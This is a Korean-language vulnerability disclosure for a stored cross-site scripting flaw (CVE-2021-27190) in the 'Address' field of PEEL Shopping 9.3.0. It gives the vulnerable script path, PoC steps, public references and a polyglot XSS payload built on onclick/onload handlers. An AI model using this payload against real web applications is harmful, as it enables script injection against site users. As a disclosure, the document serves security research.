CVE-2021-27190 - PEEL Shopping, 전자상거래 쇼핑 카트 - 'Address'의 저장형 크로스 사이트 스크립팅 취약점

날짜

2021-02-11

익스플로잇 작성자

Anmol K Sachan

공급업체 홈페이지

https://www.peel.fr/

소프트웨어 링크

https://www.peel.fr/nos-offres-1/peel-shopping-31.html
https://sourceforge.net/projects/peel-shopping/

취약한 소프트웨어 링크

https://drive.google.com/file/d/1dIwRdaqtEyqUUgxbRqrHiS5WQ10nEG8z/view?usp=sharing

소프트웨어: :

PEEL SHOPPING 9.3.0

취약점 유형

저장형 크로스 사이트 스크립팅

취약점

저장형 XSS

Windows 10 XAMPP에서 테스트됨

할당된 CVE

CVE-2021-27190
이 애플리케이션은 저장형 XSS 취약점에 취약합니다.

취약한 스크립트

http://localhost/peel-shopping_9_3_0/utilisateurs/change_params.php

https://github.com/anmolksachan/CVE-2021-27190-PEEL-Shopping-cart-9.3.0-Stored-XSS/edit/main/README.MD## 취약한 매개변수 'Address'

사용된 페이로드

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

POC

https://drive.google.com/file/d/1t1hksDsYqYsqryRq61tNIQQMTCFidtc1/view
페이로드를 삽입한 동일한 페이지에서 주소를 편집하려면 텍스트 상자를 클릭하세요.
Javascript 코드(XSS)가 실행되는 것을 확인할 수 있습니다.

참고 자료

1. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27190
   
2. https://packetstormsecurity.com/files/161367/PEEL-Shopping-9.3.0-Cross-Site-Scripting.html
   
3. https://www.exploit-db.com/exploits/49553
   
4. https://www.secuneus.com/cve-2021-27190-peel-shopping-ecommerce-shopping-cart-stored-cross-site-scripting-vulnerability-in-address/
   
5. https://cxsecurity.com/issue/WLB-2021020054
   
6. https://nvd.nist.gov/vuln/detail/CVE-2021-27190